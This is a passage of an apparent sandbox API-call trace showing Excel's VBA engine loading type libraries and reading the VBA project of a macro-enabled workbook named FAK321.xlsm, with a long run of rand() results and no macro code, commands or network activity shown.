| out: lpsz="*\\g{00020813-0000-0000-c000-000000000046}#1.9#0#c:\\program files\\microsoft office\\root\\office16\\excel.exe#microsoft excel 16.0 object library") returned 0x8d [0066.640] IMalloc:Alloc (This=0x7fefecb5380, cb=0x11c) returned 0xb4f1de0 [0066.640] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{00020813-0000-0000-c000-000000000046}#1.9#0#c:\\program files\\microsoft office\\root\\office16\\excel.exe#microsoft excel 16.0 object library", cchWideChar=142, lpMultiByteStr=0xb4f1de0, cbMultiByte=284, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{00020813-0000-0000-c000-000000000046}#1.9#0#c:\\program files\\microsoft office\\root\\office16\\excel.exe#microsoft excel 16.0 object library", lpUsedDefaultChar=0x0) returned 142 [0066.640] IMalloc:Free (This=0x7fefecb5380, pv=0xb4f1de0) [0066.640] wcsncpy_s (in: _Destination=0x170610, _SizeInWords=0x108, _Source="*\\CC:\\Users\\aETAdzjz\\Desktop\\FAK321.xlsm", _MaxCount=0x106 | out: _Destination="*\\CC:\\Users\\aETAdzjz\\Desktop\\FAK321.xlsm") returned 0x0 [0066.640] CharLowerBuffW (in: lpsz="*\\CC:\\Users\\aETAdzjz\\Desktop\\FAK321.xlsm", cchLength=0x28 | out: lpsz="*\\cc:\\users\\aetadzjz\\desktop\\fak321.xlsm") returned 0x28 [0066.641] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cc:\\users\\aetadzjz\\desktop\\fak321.xlsm", cchWideChar=41, lpMultiByteStr=0x170540, cbMultiByte=82, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cc:\\users\\aetadzjz\\desktop\\fak321.xlsm", lpUsedDefaultChar=0x0) returned 41 [0066.641] _wcsicmp (_String1="*\\CC:\\Users\\aETAdzjz\\Desktop\\FAK321.xlsm", _String2="*\\CC:\\Users\\aETAdzjz\\Desktop\\FAK321.xlsm") returned 0 [0066.641] IUnknown:AddRef (This=0xaeffda0) returned 0x2 [0066.641] IUnknown:QueryInterface (in: This=0xaeffda0, riid=0x7fee5ca85a0*(Data1=0xcacc1e8a, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x170a38 | out: ppvObject=0x170a38*=0x0) returned 0x80004002 [0066.641] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="Excel", cchWideChar=6, lpMultiByteStr=0x170a00, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Excel", lpUsedDefaultChar=0x0) returned 6 [0066.641] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Excel") returned 0x102b80 [0066.641] IUnknown:Release (This=0xaeffda0) returned 0x1 [0066.641] GetModuleFileNameW (in: hModule=0x7fee5900000, lpFilename=0x7fee5cde4c0, nSize=0x104 | out: lpFilename="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\vba\\vba7.1\\vbe7.dll")) returned 0x42 [0066.641] QueryPathOfRegTypeLib (in: guid=0x7fee5cadd50*(Data1=0x204ef, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), wMaj=0x4, wMin=0x0, lcid=0x409, lpbstrPathName=0x170aa0 | out: lpbstrPathName=0x170aa0) returned 0x0 [0066.648] LoadTypeLibEx (in: szFile="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL", regkind=0x2, pptlib=0x170af8*=0x0 | out: pptlib=0x170af8*=0xb55fe10) returned 0x0 [0066.670] IUnknown:AddRef (This=0xb55fe10) returned 0x2 [0066.670] ITypeLib:RemoteGetDocumentation (in: This=0xb55fe10, index=-1, refPtrFlags=0x170b18, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x41e9d0 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x41e9d0*="A") returned 0x0 [0066.670] IUnknown:QueryInterface (in: This=0xb55fe10, riid=0x7fee5ca5c68*(Data1=0xcacc1e84, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x170908 | out: ppvObject=0x170908*=0x0) returned 0x80004002 [0066.670] ITypeLib:RemoteGetLibAttr (in: This=0xb55fe10, ppTLibAttr=0x170900, pDummy=0x10 | out: ppTLibAttr=0x170900, pDummy=0x10) returned 0x0 [0066.670] ITypeLib:RemoteGetDocumentation (in: This=0xb55fe10, index=-1, refPtrFlags=0x0, pbstrName=0x1708f8, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xecc88f8d54c5 | out: pbstrName=0x1708f8*="Visual Basic For Applications", pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0xecc88f8d54c5) returned 0x0 [0066.670] StringFromGUID2 (in: rguid=0x515fa20*(Data1=0x204ef, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), lpsz=0x170920, cchMax=39 | out: lpsz="{000204EF-0000-0000-C000-000000000046}") returned 39 [0066.670] _ultow_s (in: _Value=0x4, _Buffer=0x17086a, _BufferCount=0x10, _Radix=16 | out: _Buffer="4") returned 0x0 [0066.670] _ultow_s (in: _Value=0x2, _Buffer=0x17086e, _BufferCount=0xe, _Radix=16 | out: _Buffer="2") returned 0x0 [0066.670] _ultow_s (in: _Value=0x9, _Buffer=0x170872, _BufferCount=0xc, _Radix=16 | out: _Buffer="9") returned 0x0 [0066.670] wcscpy_s (in: _Destination=0x51548b8, _SizeInWords=0x91, _Source="*\\G" | out: _Destination="*\\G") returned 0x0 [0066.670] wcscpy_s (in: _Destination=0x51548be, _SizeInWords=0x8e, _Source="{000204EF-0000-0000-C000-000000000046}" | out: _Destination="{000204EF-0000-0000-C000-000000000046}") returned 0x0 [0066.670] wcscpy_s (in: _Destination=0x515490a, _SizeInWords=0x68, _Source="#4.2#9#" | out: _Destination="#4.2#9#") returned 0x0 [0066.670] wcscpy_s (in: _Destination=0x5154918, _SizeInWords=0x61, _Source="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL" | out: _Destination="C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL") returned 0x0 [0066.670] wcscpy_s (in: _Destination=0x515499e, _SizeInWords=0x1e, _Source="Visual Basic For Applications" | out: _Destination="Visual Basic For Applications") returned 0x0 [0066.670] ITypeLib:LocalReleaseTLibAttr (This=0xb55fe10) returned 0x0 [0066.670] IMalloc:Realloc (This=0x7fefecb5380, pv=0x4fdfba0, cb=0x340) returned 0xb0fa9a0 [0066.670] wcscpy_s (in: _Destination=0xb0faae8, _SizeInWords=0x91, _Source="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications" | out: _Destination="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned 0x0 [0066.670] ITypeLib:RemoteGetDocumentation (in: This=0xb55fe10, index=-1, refPtrFlags=0x170a18, pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x3 | out: pbstrName=0x0, pBstrDocString=0x0, pdwHelpContext=0x0, pBstrHelpFile=0x3) returned 0x0 [0066.671] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VBA") returned 0x10e2f7 [0066.671] strcpy_s (in: _Dst=0x170810, _DstSize=0x4, _Src="VBA" | out: _Dst="VBA") returned 0x0 [0066.671] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x170810, cbMultiByte=4, lpWideCharStr=0x170660, cchWideChar=4 | out: lpWideCharStr="VBA") returned 4 [0066.671] IUnknown:AddRef (This=0xaeffda0) returned 0x2 [0066.671] ITypeLib:RemoteIsName (in: This=0xaeffda0, szNameBuf="VBA", lHashVal=0x10e2f7, pfName=0x170730, pBstrLibName=0x170660 | out: pfName=0x170730*=0, pBstrLibName=0x170660) returned 0x0 [0066.684] IUnknown:Release (This=0xaeffda0) returned 0x1 [0066.684] IMalloc:Alloc (This=0x7fefecb5380, cb=0xc) returned 0x23f67e0 [0066.684] IMalloc:Free (This=0x7fefecb5380, pv=0xaf11210) [0066.684] IMalloc:Alloc (This=0x7fefecb5380, cb=0x20) returned 0xaf11210 [0066.684] IMalloc:Free (This=0x7fefecb5380, pv=0x23f67e0) [0066.684] wcsncpy_s (in: _Destination=0x170610, _SizeInWords=0x108, _Source="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications", _MaxCount=0x106 | out: _Destination="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned 0x0 [0066.684] CharLowerBuffW (in: lpsz="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications", cchLength=0x90 | out: lpsz="*\\g{000204ef-0000-0000-c000-000000000046}#4.2#9#c:\\program files\\common files\\microsoft shared\\vba\\vba7.1\\vbe7.dll#visual basic for applications") returned 0x90 [0066.685] IMalloc:Alloc (This=0x7fefecb5380, cb=0x122) returned 0xb4f1de0 [0066.685] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{000204ef-0000-0000-c000-000000000046}#4.2#9#c:\\program files\\common files\\microsoft shared\\vba\\vba7.1\\vbe7.dll#visual basic for applications", cchWideChar=145, lpMultiByteStr=0xb4f1de0, cbMultiByte=290, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{000204ef-0000-0000-c000-000000000046}#4.2#9#c:\\program files\\common files\\microsoft shared\\vba\\vba7.1\\vbe7.dll#visual basic for applications", lpUsedDefaultChar=0x0) returned 145 [0066.685] IMalloc:Free (This=0x7fefecb5380, pv=0xb4f1de0) [0066.685] IMalloc:Realloc (This=0x7fefecb5380, pv=0xafddfb0, cb=0x440) returned 0xb18e1d0 [0066.685] wcscpy_s (in: _Destination=0xb18e3b8, _SizeInWords=0x91, _Source="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications" | out: _Destination="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned 0x0 [0066.685] wcsncpy_s (in: _Destination=0x170650, _SizeInWords=0x108, _Source="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications", _MaxCount=0x106 | out: _Destination="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications") returned 0x0 [0066.685] CharLowerBuffW (in: lpsz="*\\G{000204EF-0000-0000-C000-000000000046}#4.2#9#C:\\Program Files\\Common Files\\Microsoft Shared\\VBA\\VBA7.1\\VBE7.DLL#Visual Basic For Applications", cchLength=0x90 | out: lpsz="*\\g{000204ef-0000-0000-c000-000000000046}#4.2#9#c:\\program files\\common files\\microsoft shared\\vba\\vba7.1\\vbe7.dll#visual basic for applications") returned 0x90 [0066.685] IMalloc:Alloc (This=0x7fefecb5380, cb=0x122) returned 0xb4f1de0 [0066.685] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\g{000204ef-0000-0000-c000-000000000046}#4.2#9#c:\\program files\\common files\\microsoft shared\\vba\\vba7.1\\vbe7.dll#visual basic for applications", cchWideChar=145, lpMultiByteStr=0xb4f1de0, cbMultiByte=290, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\g{000204ef-0000-0000-c000-000000000046}#4.2#9#c:\\program files\\common files\\microsoft shared\\vba\\vba7.1\\vbe7.dll#visual basic for applications", lpUsedDefaultChar=0x0) returned 145 [0066.685] IMalloc:Free (This=0x7fefecb5380, pv=0xb4f1de0) [0066.685] wcsncpy_s (in: _Destination=0x170610, _SizeInWords=0x108, _Source="*\\CC:\\Users\\aETAdzjz\\Desktop\\FAK321.xlsm", _MaxCount=0x106 | out: _Destination="*\\CC:\\Users\\aETAdzjz\\Desktop\\FAK321.xlsm") returned 0x0 [0066.685] CharLowerBuffW (in: lpsz="*\\CC:\\Users\\aETAdzjz\\Desktop\\FAK321.xlsm", cchLength=0x28 | out: lpsz="*\\cc:\\users\\aetadzjz\\desktop\\fak321.xlsm") returned 0x28 [0066.685] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="*\\cc:\\users\\aetadzjz\\desktop\\fak321.xlsm", cchWideChar=41, lpMultiByteStr=0x170540, cbMultiByte=82, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="*\\cc:\\users\\aetadzjz\\desktop\\fak321.xlsm", lpUsedDefaultChar=0x0) returned 41 [0066.685] _wcsicmp (_String1="*\\CC:\\Users\\aETAdzjz\\Desktop\\FAK321.xlsm", _String2="*\\CC:\\Users\\aETAdzjz\\Desktop\\FAK321.xlsm") returned 0 [0066.685] IUnknown:AddRef (This=0xb55fe10) returned 0x3 [0066.685] IUnknown:QueryInterface (in: This=0xb55fe10, riid=0x7fee5ca85a0*(Data1=0xcacc1e8a, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x170a38 | out: ppvObject=0x170a38*=0x0) returned 0x80004002 [0066.685] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBA", cchWideChar=4, lpMultiByteStr=0x170a00, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBA", lpUsedDefaultChar=0x0) returned 4 [0066.685] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VBA") returned 0x10e2f7 [0066.685] IUnknown:Release (This=0xb55fe10) returned 0x2 [0066.686] IMalloc:Alloc (This=0x7fefecb5380, cb=0x0) returned 0xafc5e40 [0066.686] IMalloc:GetSize (This=0x7fefecb5380, pv=0xafc5e40) returned 0x0 [0066.686] IMalloc:Alloc (This=0x7fefecb5380, cb=0x0) returned 0xafc5e50 [0066.686] IMalloc:GetSize (This=0x7fefecb5380, pv=0xafc5e50) returned 0x0 [0066.689] VirtualQuery (in: lpAddress=0x170fe0, lpBuffer=0x170fa0, dwLength=0x30 | out: lpBuffer=0x170fa0*(BaseAddress=0x170000, AllocationBase=0x90000, AllocationProtect=0x4, __alignment1=0xfffff8a0, RegionSize=0x20000, State=0x1000, Protect=0x4, Type=0x20000, __alignment2=0x0)) returned 0x30 [0066.689] IMalloc:Alloc (This=0x7fefecb5380, cb=0x0) returned 0xafc5e60 [0066.689] qsort (in: _Base=0xafc5e60, _NumOfElements=0x0, _SizeOfElements=0x10, _PtFuncCompare=0x7fee5a55594 | out: _Base=0xafc5e60) [0066.715] IMalloc:Free (This=0x7fefecb5380, pv=0xafc5e60) [0066.715] IMalloc:Alloc (This=0x7fefecb5380, cb=0x18) returned 0x23f6340 [0066.715] IMalloc:Alloc (This=0x7fefecb5380, cb=0xc) returned 0x23f63e0 [0066.715] IMalloc:GetSize (This=0x7fefecb5380, pv=0x23f63e0) returned 0xc [0066.715] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Win16") returned 0x107ec1 [0066.716] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Win32") returned 0x107f07 [0066.716] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Win64") returned 0x107f78 [0066.716] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="Mac") returned 0x10b2b3 [0066.716] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VBA6") returned 0x1023ad [0066.716] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VBA7") returned 0x1023ae [0066.716] IMalloc:Free (This=0x7fefecb5380, pv=0xafc5e50) [0066.716] IMalloc:Free (This=0x7fefecb5380, pv=0xafc5e40) [0066.716] CoCreateGuid (in: pguid=0x1710e8 | out: pguid=0x1710e8*(Data1=0xe7095f6, Data2=0x6d66, Data3=0x416e, Data4=([0]=0x81, [1]=0xc5, [2]=0xf9, [3]=0xe0, [4]=0x23, [5]=0xae, [6]=0xb7, [7]=0x2b))) returned 0x0 [0066.716] IMalloc:Alloc (This=0x7fefecb5380, cb=0x6b0) returned 0xb4994d0 [0066.716] srand (_Seed=0x5196) [0066.716] rand () returned 2707 [0066.716] rand () returned 5367 [0066.716] rand () returned 3107 [0066.716] rand () returned 25991 [0066.716] rand () returned 22224 [0066.716] rand () returned 7173 [0066.716] rand () returned 3305 [0066.716] rand () returned 5542 [0066.716] rand () returned 21093 [0066.716] rand () returned 7093 [0066.716] rand () returned 29645 [0066.716] rand () returned 30555 [0066.716] rand () returned 4452 [0066.716] rand () returned 15519 [0066.716] rand () returned 22682 [0066.716] rand () returned 20118 [0066.716] rand () returned 26125 [0066.716] rand () returned 28117 [0066.717] rand () returned 31912 [0066.717] rand () returned 27549 [0066.717] rand () returned 25247 [0066.717] rand () returned 12135 [0066.717] rand () returned 31572 [0066.717] rand () returned 27055 [0066.717] rand () returned 11630 [0066.717] rand () returned 26157 [0066.717] rand () returned 24237 [0066.717] rand () returned 16615 [0066.717] rand () returned 23350 [0066.717] rand () returned 7360 [0066.717] rand () returned 27760 [0066.717] rand () returned 12132 [0066.717] rand () returned 17327 [0066.717] rand () returned 21962 [0066.717] rand () returned 16183 [0066.717] rand () returned 15783 [0066.717] rand () returned 1121 [0066.717] rand () returned 21376 [0066.717] rand () returned 32749 [0066.717] rand () returned 25148 [0066.717] rand () returned 9658 [0066.717] rand () returned 30828 [0066.717] rand () returned 21381 [0066.717] rand () returned 2205 [0066.717] rand () returned 5726 [0066.717] rand () returned 9584 [0066.717] rand () returned 20715 [0066.717] rand () returned 32595 [0066.717] rand () returned 28862 [0066.717] rand () returned 14600 [0066.717] rand () returned 4923 [0066.718] rand () returned 4446 [0066.718] rand () returned 16108 [0066.718] rand () returned 5071 [0066.718] rand () returned 15410 [0066.718] rand () returned 20183 [0066.718] rand () returned 12462 [0066.718] rand () returned 17989 [0066.718] rand () returned 31458 [0066.718] rand () returned 18644 [0066.718] rand () returned 30673 [0066.718] rand () returned 19407 [0066.718] rand () returned 27305 [0066.718] rand () returned 17548 [0066.718] rand () returned 16063 [0066.718] rand () returned 30463 [0066.718] rand () returned 24163 [0066.718] rand () returned 10684 [0066.718] rand () returned 27988 [0066.718] rand () returned 29462 [0066.718] rand () returned 27615 [0066.718] rand () returned 12361 [0066.718] rand () returned 12270 [0066.718] rand () returned 32455 [0066.718] rand () returned 19344 [0066.718] rand () returned 4390 [0066.718] rand () returned 29891 [0066.718] rand () returned 17470 [0066.718] rand () returned 24709 [0066.718] rand () returned 15992 [0066.718] rand () returned 21368 [0066.718] rand () returned 29281 [0066.718] rand () returned 31899 [0066.719] rand () returned 26360 [0066.719] rand () returned 4847 [0066.719] rand () returned 31574 [0066.719] rand () returned 13554 [0066.719] rand () returned 18585 [0066.719] rand () returned 16736 [0066.719] rand () returned 7237 [0066.719] rand () returned 23197 [0066.719] rand () returned 5740 [0066.719] rand () returned 4779 [0066.719] rand () returned 4703 [0066.719] rand () returned 27550 [0066.719] rand () returned 30144 [0066.719] rand () returned 30956 [0066.719] rand () returned 8479 [0066.719] rand () returned 4113 [0066.719] rand () returned 22157 [0066.719] rand () returned 11088 [0066.719] rand () returned 19919 [0066.719] rand () returned 30631 [0066.719] rand () returned 11027 [0066.719] rand () returned 3880 [0066.719] rand () returned 29775 [0066.719] rand () returned 11094 [0066.719] rand () returned 17086 [0066.719] rand () returned 14140 [0066.719] rand () returned 6418 [0066.719] rand () returned 10063 [0066.719] rand () returned 19533 [0066.719] rand () returned 28002 [0066.719] rand () returned 7273 [0066.719] rand () returned 20785 [0066.719] rand () returned 17203 [0066.720] rand () returned 31311 [0066.720] rand () returned 13060 [0066.720] rand () returned 7804 [0066.720] rand () returned 19517 [0066.720] rand () returned 8108 [0066.720] rand () returned 18357 [0066.720] rand () returned 32584 [0066.720] rand () returned 17782 [0066.720] rand () returned 30829 [0066.720] rand () returned 10872 [0066.720] rand () returned 24887 [0066.720] rand () returned 3400 [0066.720] rand () returned 13150 [0066.720] rand () returned 12465 [0066.720] rand () returned 24232 [0066.720] rand () returned 17635 [0066.720] rand () returned 23550 [0066.720] rand () returned 10932 [0066.720] rand () returned 28205 [0066.720] rand () returned 4579 [0066.720] rand () returned 9617 [0066.720] rand () returned 21130 [0066.720] rand () returned 9792 [0066.720] rand () returned 9004 [0066.720] rand () returned 27761 [0066.720] rand () returned 6131 [0066.720] rand () returned 26929 [0066.720] rand () returned 32025 [0066.720] rand () returned 24997 [0066.720] rand () returned 28071 [0066.720] rand () returned 3427 [0066.720] rand () returned 20695 [0066.720] rand () returned 5300 [0066.721] rand () returned 31713 [0066.721] rand () returned 21944 [0066.721] rand () returned 25355 [0066.721] rand () returned 20411 [0066.721] rand () returned 23582 [0066.721] rand () returned 20042 [0066.721] rand () returned 17851 [0066.721] rand () returned 31166 [0066.721] rand () returned 16930 [0066.721] rand () returned 24924 [0066.721] rand () returned 26987 [0066.721] rand () returned 29500 [0066.721] rand () returned 13885 [0066.721] rand () returned 14480 [0066.721] rand () returned 18822 [0066.721] rand () returned 8454 [0066.721] rand () returned 17612 [0066.721] rand () returned 15962 [0066.721] rand () returned 14336 [0066.721] rand () returned 6481 [0066.721] rand () returned 18178 [0066.721] rand () returned 21428 [0066.721] rand () returned 3130 [0066.721] rand () returned 9993 [0066.721] rand () returned 10473 [0066.721] rand () returned 3603 [0066.721] rand () returned 14630 [0066.721] rand () returned 5992 [0066.721] rand () returned 20643 [0066.721] rand () returned 4506 [0066.721] rand () returned 3755 [0066.721] rand () returned 1480 [0066.721] rand () returned 2806 [0066.722] rand () returned 23438 [0066.722] rand () returned 10827 [0066.722] rand () returned 6581 [0066.722] rand () returned 8456 [0066.722] rand () returned 4363 [0066.722] rand () returned 23299 [0066.722] rand () returned 27463 [0066.722] rand () returned 31590 [0066.722] rand () returned 9717 [0066.722] rand () returned 31858 [0066.722] rand () returned 430 [0066.722] rand () returned 30283 [0066.722] rand () returned 28720 [0066.722] rand () returned 3390 [0066.722] rand () returned 8207 [0066.722] rand () returned 19232 [0066.722] rand () returned 31508 [0066.722] rand () returned 1204 [0066.722] rand () returned 21647 [0066.722] rand () returned 13119 [0066.722] rand () returned 12059 [0066.722] rand () returned 11182 [0066.722] rand () returned 32173 [0066.722] rand () returned 10236 [0066.722] rand () returned 8669 [0066.722] rand () returned 31930 [0066.722] rand () returned 14804 [0066.722] rand () returned 25574 [0066.722] rand () returned 8767 [0066.722] rand () returned 20344 [0066.722] rand () returned 30000 [0066.722] rand () returned 2378 [0066.722] rand () returned 21735 [0066.723] rand () returned 21316 [0066.723] rand () returned 2498 [0066.723] rand () returned 4601 [0066.723] rand () returned 29939 [0066.723] rand () returned 7445 [0066.723] rand () returned 9647 [0066.723] rand () returned 27723 [0066.723] rand () returned 3306 [0066.723] rand () returned 19621 [0066.723] rand () returned 27614 [0066.723] rand () returned 26980 [0066.723] rand () returned 15346 [0066.723] rand () returned 3283 [0066.723] rand () returned 705 [0066.723] rand () returned 24758 [0066.723] rand () returned 23364 [0066.723] rand () returned 29509 [0066.723] rand () returned 1395 [0066.723] rand () returned 11463 [0066.723] rand () returned 6110 [0066.723] rand () returned 849 [0066.723] rand () returned 2820 [0066.723] rand () returned 25909 [0066.723] rand () returned 21623 [0066.723] rand () returned 22558 [0066.723] rand () returned 14353 [0066.723] rand () returned 31223 [0066.723] rand () returned 26552 [0066.723] rand () returned 14854 [0066.723] rand () returned 3735 [0066.723] rand () returned 5093 [0066.723] rand () returned 2729 [0066.723] rand () returned 9023 [0066.723] rand () returned 28680 [0066.724] CoCreateGuid (in: pguid=0xb0d7eb8 | out: pguid=0xb0d7eb8*(Data1=0xecd8ed08, Data2=0x2586, Data3=0x48e6, Data4=([0]=0xb6, [1]=0x13, [2]=0x65, [3]=0x32, [4]=0xc, [5]=0x61, [6]=0xe2, [7]=0x56))) returned 0x0 [0066.724] IMalloc:Realloc (This=0x7fefecb5380, pv=0x0, cb=0x0) returned 0xafc5e40 [0066.724] IMalloc:Realloc (This=0x7fefecb5380, pv=0x0, cb=0x412) returned 0xb580e30 [0066.725] strcpy_s (in: _Dst=0xb0d7f18, _DstSize=0x1, _Src="" | out: _Dst="") returned 0x0 [0066.725] CExposedStream::Read () returned 0x0 [0066.725] IMalloc:Alloc (This=0x7fefecb5380, cb=0x2028) returned 0xb588e00 [0066.725] IMalloc:Alloc (This=0x7fefecb5380, cb=0x10020*=0x10128) returned 0xb58ae30 [0066.726] CExposedStream::AddRef () returned 0x2 [0066.726] CExposedStream::Release () returned 0x1 [0066.727] CExposedStream::Read () returned 0x0 [0066.727] CExposedStream::Read () returned 0x0 [0066.727] CompareStringA (Locale=0x409, dwCmpFlags=0x3, lpString1="Test", cchCount1=-1, lpString2="Test", cchCount2=-1) returned 2 [0066.727] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x0, lpMultiByteStr=0x1710e4, cbMultiByte=2, lpWideCharStr=0x1710f8, cchWideChar=2 | out: lpWideCharStr="") returned 2 [0066.728] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBAProject", cchWideChar=11, lpMultiByteStr=0x171070, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBAProject", lpUsedDefaultChar=0x0) returned 11 [0066.728] lstrcmpiA (lpString1="", lpString2="VBAProject") returned -1 [0066.728] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBAProject", cchWideChar=-1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0066.728] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBAProject", cchWideChar=-1, lpMultiByteStr=0x170f70, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBAProject", lpUsedDefaultChar=0x0) returned 11 [0066.728] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VBAProject") returned 0x10bfbe [0066.728] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBAProject", cchWideChar=11, lpMultiByteStr=0x170e80, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBAProject", lpUsedDefaultChar=0x0) returned 11 [0066.728] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VBAProject") returned 0x10bfbe [0066.728] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBAProject", cchWideChar=11, lpMultiByteStr=0x170e80, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBAProject", lpUsedDefaultChar=0x0) returned 11 [0066.728] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="VBAProject", cchWideChar=11, lpMultiByteStr=0x170d40, cbMultiByte=22, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="VBAProject", lpUsedDefaultChar=0x0) returned 11 [0066.728] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VBAProject") returned 0x10bfbe [0066.728] LHashValOfNameSysA (syskind=0x3, lcid=0x409, szName="VBAProject") returned 0x10bfbe [0066.728] IMalloc:Alloc (This=0x7fefecb5380, cb=0x18) returned 0x23f63c0 [0066.728] IMalloc:Free (This=0x7fefecb5380, pv=0xaf11210) [0066.728] IMalloc:Alloc (This=0x7fefecb5380, cb=0x20) returned 0xaf11210 [0066.729] IMalloc:Realloc (This=0x7fefecb5380, pv=0xaf11210, cb=0x44) returned 0xafa4cb0 [0066.729] IMalloc:Free (This=0x7fefecb5380, pv=0x23f63c0) [0066.729] strcpy_s (in: _Dst=0xb0d7f28, _DstSize=0xb, _Src="VBAProject" | out: _Dst="VBAProject") returned 0x0 [0066.757] CLSIDFromString (in: lpsz="{00020430-0000-0000-C000-000000000046}", pclsid=0x171080 | out: pclsid=0x171080*(Data1=0x20430, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, 